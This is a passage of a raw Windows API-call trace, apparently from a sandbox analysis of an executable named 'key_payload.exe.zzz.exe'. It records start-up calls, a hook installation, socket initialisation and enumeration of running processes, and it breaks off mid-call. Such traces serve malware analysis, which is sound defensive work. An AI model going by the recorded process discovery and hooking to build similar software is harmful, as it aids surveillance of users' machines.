RegisterClipboardFormatW (lpszFormat="TOOLBAR_RESETKEYBAORD") returned 0xc17d [0227.831] RegisterClipboardFormatW (lpszFormat="TOOLBAR_RESETRPROMPT") returned 0xc17e [0227.832] GetProfileIntW (lpAppName="windows", lpKeyName="DragMinDist", nDefault=2) returned 0x2 [0227.832] GetProfileIntW (lpAppName="windows", lpKeyName="DragDelay", nDefault=200) returned 0xc8 [0227.836] RegisterClipboardFormatW (lpszFormat="MSG_CHECKEMPTYMINIFRAME") returned 0xc17f [0227.837] RegisterClipboardFormatW (lpszFormat="AFX_WM_UPDATETOOLTIPS") returned 0xc180 [0227.838] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_RENAME_TAB") returned 0xc181 [0227.838] RegisterClipboardFormatW (lpszFormat="AFX_WM_ONCHANGE_ACTIVE_TAB") returned 0xc182 [0227.838] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_MOVE_TAB") returned 0xc183 [0227.838] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_CHANGING_ACTIVE_TAB") returned 0xc184 [0227.838] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_GET_TAB_TOOLTIP") returned 0xc185 [0227.838] RegisterClipboardFormatW (lpszFormat="AFX_WM_POSTSETPREVIEWFRAME") returned 0xc186 [0227.838] GetSystemMetrics (nIndex=69) returned 4 [0227.838] GetSystemMetrics (nIndex=68) returned 4 [0227.838] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_PRESS_CLOSE_BUTTON") returned 0xc187 [0227.839] RegisterClipboardFormatW (lpszFormat="AFX_WM_AFTER_TASKBAR_ACTIVATE") returned 0xc188 [0227.839] RegisterClipboardFormatW (lpszFormat="AFX_WM_CHANGE_CURRENT_FOLDER") returned 0xc189 [0227.841] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_HSCROLL") returned 0xc18a [0227.841] RegisterClipboardFormatW (lpszFormat="AFX_WM_GETDRAGBOUNDS") returned 0xc18b [0227.841] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_DRAGCOMPLETE") returned 0xc18c [0227.841] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_TABGROUPMOUSEMOVE") returned 0xc18d [0227.841] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_CANCELTABMOVE") returned 0xc18e [0227.841] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_MOVETABCOMPLETE") returned 0xc18f [0227.841] RegisterClipboardFormatW (lpszFormat="AFX_WM_PROPERTYCHANGED") returned 0xc190 [0227.842] RegisterClipboardFormatW (lpszFormat="Native") returned 0xc004 [0227.842] RegisterClipboardFormatW (lpszFormat="OwnerLink") returned 0xc003 [0227.842] RegisterClipboardFormatW (lpszFormat="ObjectLink") returned 0xc002 [0227.842] RegisterClipboardFormatW (lpszFormat="Embedded Object") returned 0xc00a [0227.842] RegisterClipboardFormatW (lpszFormat="Embed Source") returned 0xc00b [0227.842] RegisterClipboardFormatW (lpszFormat="Link Source") returned 0xc00d [0227.842] RegisterClipboardFormatW (lpszFormat="Object Descriptor") returned 0xc00e [0227.842] RegisterClipboardFormatW (lpszFormat="Link Source Descriptor") returned 0xc00f [0227.842] RegisterClipboardFormatW (lpszFormat="FileName") returned 0xc006 [0227.842] RegisterClipboardFormatW (lpszFormat="FileNameW") returned 0xc007 [0227.842] RegisterClipboardFormatW (lpszFormat="Rich Text Format") returned 0xc075 [0227.842] RegisterClipboardFormatW (lpszFormat="RichEdit Text and Objects") returned 0xc07e [0227.842] RegisterClipboardFormatW (lpszFormat="AFX_WM_POSTRECALCLAYOUT") returned 0xc191 [0227.842] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_CHANGE_RIBBON_CATEGORY") returned 0xc192 [0227.842] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_RIBBON_CUSTOMIZE") returned 0xc193 [0227.842] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_HIGHLIGHT_RIBBON_LIST_ITEM") returned 0xc194 [0227.842] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_BEFORE_SHOW_RIBBON_ITEM_MENU") returned 0xc195 [0227.843] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_MOVETOTABGROUP") returned 0xc196 [0227.843] RegisterClipboardFormatW (lpszFormat="WINDOW_HELP") returned 0xc197 [0227.844] RegisterClipboardFormatW (lpszFormat="TOOLBAR__GETDOCUMENTCOLORS") returned 0xc198 [0227.845] RegisterClipboardFormatW (lpszFormat="commdlg_FindReplace") returned 0xc199 [0227.845] GetVersionExW (in: lpVersionInformation=0xc3f474*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xe00000e, dwMinorVersion=0xd335f0, dwBuildNumber=0x2, dwPlatformId=0x0, szCSDVersion="\x35f0\xd3\x284\xd3\x80") | out: lpVersionInformation=0xc3f474*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0227.845] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0227.846] GetProcAddress (hModule=0x75130000, lpProcName=0x1347bf0) returned 0x75172720 [0227.846] GetProcAddress (hModule=0x75130000, lpProcName="GetThreadGroupAffinity") returned 0x751713f0 [0227.846] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0227.846] GetProcAddress (hModule=0x75130000, lpProcName="GetCurrentProcessorNumberEx") returned 0x779ebd70 [0227.846] LoadLibraryExW (lpLibFileName="combase.dll", hFile=0x0, dwFlags=0x800) returned 0x74f70000 [0227.846] GetModuleHandleW (lpModuleName="combase.dll") returned 0x74f70000 [0227.846] GetProcAddress (hModule=0x74f70000, lpProcName="RoInitialize") returned 0x75045b90 [0227.846] GetModuleHandleW (lpModuleName="combase.dll") returned 0x74f70000 [0227.846] GetProcAddress (hModule=0x74f70000, lpProcName="RoUninitialize") returned 0x750495f0 [0227.846] GetCurrentProcess () returned 0xffffffff [0227.846] GetProcessAffinityMask (in: hProcess=0xffffffff, lpProcessAffinityMask=0x139a0a0, lpSystemAffinityMask=0x139a0a4 | out: lpProcessAffinityMask=0x139a0a0, lpSystemAffinityMask=0x139a0a4) returned 1 [0227.847] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0227.847] GetProcAddress (hModule=0x75130000, lpProcName="GetLogicalProcessorInformationEx") returned 0x74e04360 [0227.847] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0x0, ReturnedLength=0x139a0c4 | out: Buffer=0x0, ReturnedLength=0x139a0c4) returned 0 [0227.847] GetLastError () returned 0x7a [0227.847] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0xd6ad58, ReturnedLength=0x139a0c4 | out: Buffer=0xd6ad58, ReturnedLength=0x139a0c4) returned 1 [0227.847] LoadLibraryExW (lpLibFileName="advapi32.dll", hFile=0x0, dwFlags=0x800) returned 0x74c60000 [0227.847] GetProcAddress (hModule=0x74c60000, lpProcName="RegisterTraceGuidsW") returned 0x779c09d0 [0227.847] GetProcAddress (hModule=0x74c60000, lpProcName="UnregisterTraceGuids") returned 0x779c07c0 [0227.847] GetProcAddress (hModule=0x74c60000, lpProcName="TraceEvent") returned 0x77a75ec0 [0227.847] GetProcAddress (hModule=0x74c60000, lpProcName="GetTraceLoggerHandle") returned 0x779f4520 [0227.847] GetProcAddress (hModule=0x74c60000, lpProcName="GetTraceEnableLevel") returned 0x779f4ed0 [0227.848] GetProcAddress (hModule=0x74c60000, lpProcName="GetTraceEnableFlags") returned 0x779f4ea0 [0227.848] EtwRegisterTraceGuidsW () returned 0x0 [0227.848] RtlInitializeSListHead (in: ListHead=0xd6adc0 | out: ListHead=0xd6adc0) [0227.848] RtlInitializeSListHead (in: ListHead=0xd6adc8 | out: ListHead=0xd6adc8) [0227.848] RtlInitializeSListHead (in: ListHead=0xd6ae28 | out: ListHead=0xd6ae28) [0227.848] RtlInitializeSListHead (in: ListHead=0xd6ae30 | out: ListHead=0xd6ae30) [0227.848] RtlInitializeSListHead (in: ListHead=0xd6af48 | out: ListHead=0xd6af48) [0227.848] RtlInitializeSListHead (in: ListHead=0xd6af50 | out: ListHead=0xd6af50) [0227.848] RtlInitializeSListHead (in: ListHead=0xd6af58 | out: ListHead=0xd6af58) [0227.848] RtlInitializeSListHead (in: ListHead=0xd6af60 | out: ListHead=0xd6af60) [0227.848] CreateEventExW (lpEventAttributes=0x0, lpName=0x0, dwFlags=0x0, dwDesiredAccess=0x1f0002) returned 0x1ec [0227.848] RegisterWaitForSingleObject (in: phNewWaitObject=0xd6af3c, hObject=0x1ec, Callback=0x12e6468, Context=0xd6ad60, dwMilliseconds=0xffffffff, dwFlags=0x0 | out: phNewWaitObject=0xd6af3c*=0xd42d68) returned 1 [0227.848] CreateThreadpoolTimer (in: pfnti=0x12e644a, pv=0xd6ad60, pcbe=0x0 | out: pv=0xd6ad60) returned 0xd37808 [0227.848] GetModuleHandleA (lpModuleName=0x0) returned 0x1110000 [0227.848] TpSetTimer (in: pti=0xd37808, pftDueTime=0xc3f590, msPeriod=0x7fffffff, msWindowLength=0x0 | out: pti=0xd37808) [0227.848] GetCurrentProcess () returned 0xffffffff [0227.848] GetProcessAffinityMask (in: hProcess=0xffffffff, lpProcessAffinityMask=0x139a0a0, lpSystemAffinityMask=0x139a0a4 | out: lpProcessAffinityMask=0x139a0a0, lpSystemAffinityMask=0x139a0a4) returned 1 [0227.849] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0227.849] GetProcAddress (hModule=0x75130000, lpProcName="GetLogicalProcessorInformationEx") returned 0x74e04360 [0227.849] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0x0, ReturnedLength=0x139a0c4 | out: Buffer=0x0, ReturnedLength=0x139a0c4) returned 0 [0227.849] GetLastError () returned 0x7a [0227.849] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0xd747b0, ReturnedLength=0x139a0c4 | out: Buffer=0xd747b0, ReturnedLength=0x139a0c4) returned 1 [0227.849] CreateEventExW (lpEventAttributes=0x0, lpName=0x0, dwFlags=0x0, dwDesiredAccess=0x1f0002) returned 0x1f4 [0227.849] GetNumaHighestNodeNumber (in: HighestNodeNumber=0xc3f5d8 | out: HighestNodeNumber=0xc3f5d8) returned 1 [0227.849] RtlInterlockedPopEntrySList (in: ListHead=0xd6adc0 | out: ListHead=0xd6adc0) returned 0x0 [0227.849] RtlInitializeSListHead (in: ListHead=0xd37150 | out: ListHead=0xd37150) [0227.849] RtlInitializeSListHead (in: ListHead=0xd37158 | out: ListHead=0xd37158) [0227.850] RtlInitializeSListHead (in: ListHead=0xd371a0 | out: ListHead=0xd371a0) [0227.850] RtlInitializeSListHead (in: ListHead=0xd371a8 | out: ListHead=0xd371a8) [0227.850] RtlInterlockedPopEntrySList (in: ListHead=0xd371a0 | out: ListHead=0xd371a0) returned 0x0 [0227.850] RtlInitializeSListHead (in: ListHead=0xd39d90 | out: ListHead=0xd39d90) [0227.850] RtlInitializeSListHead (in: ListHead=0xd39d98 | out: ListHead=0xd39d98) [0227.850] RtlInitializeSListHead (in: ListHead=0xd39de0 | out: ListHead=0xd39de0) [0227.850] RtlInitializeSListHead (in: ListHead=0xd39de8 | out: ListHead=0xd39de8) [0227.850] RtlInitializeSListHead (in: ListHead=0xd3afb0 | out: ListHead=0xd3afb0) [0227.850] RtlInitializeSListHead (in: ListHead=0xd3afb8 | out: ListHead=0xd3afb8) [0227.851] GetTickCount64 () returned 0x3f202 [0227.851] RtlInterlockedPopEntrySList (in: ListHead=0xd3afb0 | out: ListHead=0xd3afb0) returned 0x0 [0227.851] GetTickCount64 () returned 0x3f202 [0227.851] RtlInterlockedPopEntrySList (in: ListHead=0xd3afb0 | out: ListHead=0xd3afb0) returned 0x0 [0227.851] GetTickCount64 () returned 0x3f202 [0227.851] RtlInterlockedPopEntrySList (in: ListHead=0xd3afb0 | out: ListHead=0xd3afb0) returned 0x0 [0227.851] GetTickCount64 () returned 0x3f202 [0227.851] CreateSemaphoreExW (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=2147483647, lpName=0x0, dwFlags=0x0, dwDesiredAccess=0x1f0003) returned 0x1f8 [0227.851] RtlInterlockedPopEntrySList (in: ListHead=0xd6af50 | out: ListHead=0xd6af50) returned 0x0 [0227.851] CreateEventExW (lpEventAttributes=0x0, lpName=0x0, dwFlags=0x0, dwDesiredAccess=0x1f0002) returned 0x1fc [0227.851] GetCurrentThreadId () returned 0xc08 [0227.851] GetCurrentProcess () returned 0xffffffff [0227.851] GetCurrentThread () returned 0xfffffffe [0227.851] GetCurrentProcess () returned 0xffffffff [0227.851] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0xd7e56c, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd7e56c*=0x200) returned 1 [0227.851] CreateThreadpoolWait (in: pfnwa=0x12f1211, pv=0xd7e4c8, pcbe=0x0 | out: pv=0xd7e4c8) returned 0xd7e580 [0227.851] GetModuleHandleA (lpModuleName=0x0) returned 0x1110000 [0227.851] TpSetWait (in: pwa=0xd7e580, h=0x200, pftTimeout=0x0 | out: pwa=0xd7e580) [0227.851] GetCurrentThreadId () returned 0xc08 [0227.852] GetCursorPos (in: lpPoint=0xd3d654 | out: lpPoint=0xd3d654*(x=1181, y=807)) returned 1 [0227.852] GetCurrentThread () returned 0xfffffffe [0227.853] GetCurrentThreadId () returned 0xc08 [0227.853] GetVersionExW (in: lpVersionInformation=0xc3f604*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0xc3f624, dwBuildNumber=0x127f864, dwPlatformId=0x18, szCSDVersion="\x01") | out: lpVersionInformation=0xc3f604*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0227.853] SetLastError (dwErrCode=0x0) [0227.853] GetLastError () returned 0x0 [0227.853] SetLastError (dwErrCode=0x0) [0227.853] SetLastError (dwErrCode=0x0) [0227.853] SetLastError (dwErrCode=0x0) [0227.853] SetLastError (dwErrCode=0x0) [0227.853] GetLastError () returned 0x0 [0227.853] SetLastError (dwErrCode=0x0) [0227.853] GetLastError () returned 0x0 [0227.853] SetLastError (dwErrCode=0x0) [0227.853] SetLastError (dwErrCode=0x0) [0227.853] SetLastError (dwErrCode=0x0) [0227.853] SetLastError (dwErrCode=0x0) [0227.853] SetLastError (dwErrCode=0x0) [0227.853] GetLastError () returned 0x0 [0227.853] SetLastError (dwErrCode=0x0) [0227.853] GetLastError () returned 0x0 [0227.854] SetLastError (dwErrCode=0x0) [0227.854] SetLastError (dwErrCode=0x0) [0227.854] GetLastError () returned 0x0 [0227.854] SetLastError (dwErrCode=0x0) [0227.854] GetLastError () returned 0x0 [0227.854] SetLastError (dwErrCode=0x0) [0227.854] SetLastError (dwErrCode=0x0) [0227.854] SetLastError (dwErrCode=0x0) [0227.855] WSAStartup (in: wVersionRequired=0x2, lpWSAData=0xc3f5b0 | out: lpWSAData=0xc3f5b0) returned 0 [0227.905] SetErrorMode (uMode=0x0) returned 0x8001 [0227.905] SetErrorMode (uMode=0x8001) returned 0x0 [0227.906] GetModuleFileNameW (in: hModule=0x1110000, lpFilename=0xc3f528, nSize=0x104 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe")) returned 0x3b [0227.906] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe") returned=".exe" [0227.906] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz") returned="key_payload.exe.zzz" [0227.906] FindResourceW (hModule=0x1110000, lpName=0xe01, lpType=0x6) returned 0x0 [0227.906] FindResourceW (hModule=0x1110000, lpName=0xe01, lpType=0x6) returned 0x0 [0227.906] SetWindowsHookExW (idHook=-1, lpfn=0x1164207, hmod=0x0, dwThreadId=0xc08) returned 0xd019d [0227.906] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", ulOptions=0x0, samDesired=0x1, phkResult=0xc3f744 | out: phkResult=0xc3f744*=0x0) returned 0x2 [0227.906] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Network", ulOptions=0x0, samDesired=0x1, phkResult=0xc3f744 | out: phkResult=0xc3f744*=0x0) returned 0x2 [0227.906] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Comdlg32", ulOptions=0x0, samDesired=0x1, phkResult=0xc3f744 | out: phkResult=0xc3f744*=0x0) returned 0x2 [0227.906] GetTempPathW (in: nBufferLength=0x400, lpBuffer=0xd84808 | out: lpBuffer="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\") returned 0x25 [0227.906] GetCommandLineW () returned="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --ForNetRes x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0" [0227.906] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --ForNetRes x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0", pNumArgs=0xc3ef18 | out: pNumArgs=0xc3ef18) returned 0xd85018*="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" [0227.907] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe") returned="key_payload.exe.zzz.exe" [0227.907] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0xd85208 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 0x0 [0227.910] PathAppendW (in: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local", pMore="key_payload.exe.zzz.exe" | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe") returned 1 [0227.911] GetCommandLineW () returned="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --ForNetRes x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0" [0227.911] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --ForNetRes x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0", pNumArgs=0xc3413c | out: pNumArgs=0xc3413c) returned 0xd847f8*="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" [0227.911] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe") returned="key_payload.exe.zzz.exe" [0227.911] EnumProcesses (in: lpidProcess=0xc34144, cb=0xa000, lpcbNeeded=0xc34140 | out: lpidProcess=0xc34144, lpcbNeeded=0xc34140) returned 1 [0227.914] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0227.914] CloseHandle (hObject=0x0) returned 0 [0227.914] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0227.914] CloseHandle (hObject=0x0) returned 0 [0227.914] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x108) returned 0x0 [0227.914] CloseHandle (hObject=0x0) returned 0 [0227.914] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x154) returned 0x0 [0227.914] CloseHandle (hObject=0x0) returned 0 [0227.914] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x194) returned 0x0 [0227.914] CloseHandle (hObject=0x0) returned 0 [0227.914] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x19c) returned 0x0 [0227.914] CloseHandle (hObject=0x0) returned 0 [0227.914] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1cc) returned 0x0 [0227.914] CloseHandle (hObject=0x0) returned 0 [0227.914] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1e4) returned 0x0 [0227.914] CloseHandle (hObject=0x0) returned 0 [0227.914] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1ec) returned 0x0 [0227.914] CloseHandle (hObject=0x0) returned 0 [0227.914] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x240) returned 0x0 [0227.914] CloseHandle (hObject=0x0) returned 0 [0227.914] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x26c) returned 0x0 [0227.914] CloseHandle (hObject=0x0) returned 0 [0227.914] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2d8) returned 0x0 [0227.914] CloseHandle (hObject=0x0) returned 0 [0227.914] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x318) returned 0x0 [0227.914] CloseHandle (hObject=0x0) returned 0 [0227.914] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x340) returned 0x0 [0227.914] CloseHandle (hObject=0x0) returned 0 [0227.914] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x358) returned 0x0 [0227.914] CloseHandle (hObject=0x0) returned 0 [0227.914] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x368) returned 0x0 [0227.914] CloseHandle (hObject=0x0) returned 0 [0227.914] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3a4) returned 0x0 [0227.915] CloseHandle (hObject=0x0) returned 0 [0227.915] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x294) returned 0x0 [0227.915] CloseHandle (hObject=0x0) returned 0 [0227.915] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x140) returned 0x0 [0227.915] CloseHandle (hObject=0x0) returned 0 [0227.915] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x424) returned 0x0 [0227.915] CloseHandle (hObject=0x0) returned 0 [0227.915] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x44c) returned 0x0 [0227.915] CloseHandle (hObject=0x0) returned 0 [0227.915] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d0) returned 0x0 [0227.915] CloseHandle (hObject=0x0) returned 0 [0227.915] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5e0) returned 0x0 [0227.915] CloseHandle (hObject=0x0) returned 0 [0227.915] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7c8) returned 0x230 [0227.915] EnumProcessModules (in: hProcess=0x230, lphModule=0xc34134, cb=0x4, lpcbNeeded=0xc34138 | out: lphModule=0xc34134, lpcbNeeded=0xc34138) returned 0 [0227.915] CloseHandle (hObject=0x230) returned 1 [0227.915] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7d0) returned 0x230 [0227.915] EnumProcessModules (in: hProcess=0x230, lphModule=0xc34134, cb=0x4, lpcbNeeded=0xc34138 | out: lphModule=0xc34134, lpcbNeeded=0xc34138) returned 0 [0227.915] CloseHandle (hObject=0x230) returned 1 [0227.915] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x698) returned 0x230 [0227.915] EnumProcessModules (in: hProcess=0x230, lphModule=0xc34134, cb=0x4, lpcbNeeded=0xc34138 | out: lphModule=0xc34134, lpcbNeeded=0xc34138) returned 0 [0227.915] CloseHandle (hObject=0x230) returned 1 [0227.915] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x820) returned 0x230 [0227.915] EnumProcessModules (in: hProcess=0x230, lphModule=0xc34134, cb=0x4, lpcbNeeded=0xc34138 | out: lphModule=0xc34134, lpcbNeeded=0xc34138) returned 0 [0227.916] CloseHandle (hObject=0x230) returned 1 [0227.916] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9b0) returned 0x230 [0227.916] EnumProcessModules (in: hProcess=0x230, lphModule=0xc34134, cb=0x4, lpcbNeeded=0xc34138 | out: lphModule=0xc34134, lpcbNeeded=0xc34138) returned 0 [0227.916] CloseHandle (hObject=0x230) returned 1 [0227.916] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa1c) returned 0x230 [0227.916] EnumProcessModules (in: hProcess=0x230, lphModule=0xc34134, cb=0x4, lpcbNeeded=0xc34138 | out: lphModule=0xc34134, lpcbNeeded=0xc34138) returned 0 [0227.916] CloseHandle (hObject=0x230) returned 1 [0227.916] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xac8) returned 0x230 [0227.916] EnumProcessModules (in: hProcess=0x230, lphModule=0xc34134, cb=0x4, lpcbNeeded=0xc34138 | out: lphModule=0xc34134, lpcbNeeded=0xc34138) returned 1 [0227.917] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xcc0000, lpBaseName=0xc3e144, nSize=0x400 | out: lpBaseName="nigeriareached.exe") returned 0x12 [0227.917] CloseHandle (hObject=0x230) returned 1 [0227.917] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x810) returned 0x230 [0227.917] EnumProcessModules (in: hProcess=0x230, lphModule=0xc34134, cb=0x4, lpcbNeeded=0xc34138 | out: lphModule=0xc34134, lpcbNeeded=0xc34138) returned 1 [0227.918] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x870000, lpBaseName=0xc3e144, nSize=0x400 | out: lpBaseName="bass_cosmetics_effectiveness.exe") returned 0x20 [0227.918] CloseHandle (hObject=0x230) returned 1 [0227.918] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8a4) returned 0x230 [0227.918] EnumProcessModules (in: hProcess=0x230, lphModule=0xc34134, cb=0x4, lpcbNeeded=0xc34138 | out: lphModule=0xc34134, lpcbNeeded=0xc34138) returned 1 [0227.919] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x1210000, lpBaseName=0xc3e144, nSize=0x400 | out: lpBaseName="optimize.exe") returned 0xc [0227.919] CloseHandle (hObject=0x230) returned 1 [0227.919] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbd0) returned 0x230 [0227.919] EnumProcessModules (in: hProcess=0x230, lphModule=0xc34134, cb=0x4, lpcbNeeded=0xc34138 | out: lphModule=0xc34134, lpcbNeeded=0xc34138) returned 1 [0227.920] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x350000, lpBaseName=0xc3e144, nSize=0x400 | out: lpBaseName="bullet_save.exe") returned 0xf [0227.920] CloseHandle (hObject=0x230) returned 1 [0227.920] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8d0) returned 0x230 [0227.920] EnumProcessModules (in: hProcess=0x230, lphModule=0xc34134, cb=0x4, lpcbNeeded=0xc34138 | out: lphModule=0xc34134, lpcbNeeded=0xc34138) returned 1 [0227.921] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xf50000, lpBaseName=0xc3e144, nSize=0x400 | out: lpBaseName="herbs.exe") returned 0x9 [0227.921] CloseHandle (hObject=0x230) returned 1 [0227.921] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8ec) returned 0x230 [0227.921] EnumProcessModules (in: hProcess=0x230, lphModule=0xc34134, cb=0x4, lpcbNeeded=0xc34138 | out: lphModule=0xc34134, lpcbNeeded=0xc34138) returned 1 [0227.922] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xc80000, lpBaseName=0xc3e144, nSize=0x400 | out: lpBaseName="expenditure-vincent-tablet.exe") returned 0x1e [0227.922] CloseHandle (hObject=0x230) returned 1 [0227.922] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x708) returned 0x230 [0227.922] EnumProcessModules (in: hProcess=0x230, lphModule=0xc34134, cb=0x4, lpcbNeeded=0xc34138 | out: lphModule=0xc34134, lpcbNeeded=0xc34138) returned 1 [0227.923] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xdb0000, lpBaseName=0xc3e144, nSize=0x400 | out: lpBaseName="deathswound.exe") returned 0xf [0227.923] CloseHandle (hObject=0x230) returned 1 [0227.923] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbf4) returned 0x230 [0227.923] EnumProcessModules (in: hProcess=0x230, lphModule=0xc34134, cb=0x4, lpcbNeeded=0xc34138 | out: lphModule=0xc34134, lpcbNeeded=0xc34138) returned 1 [0227.923] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xa40000, 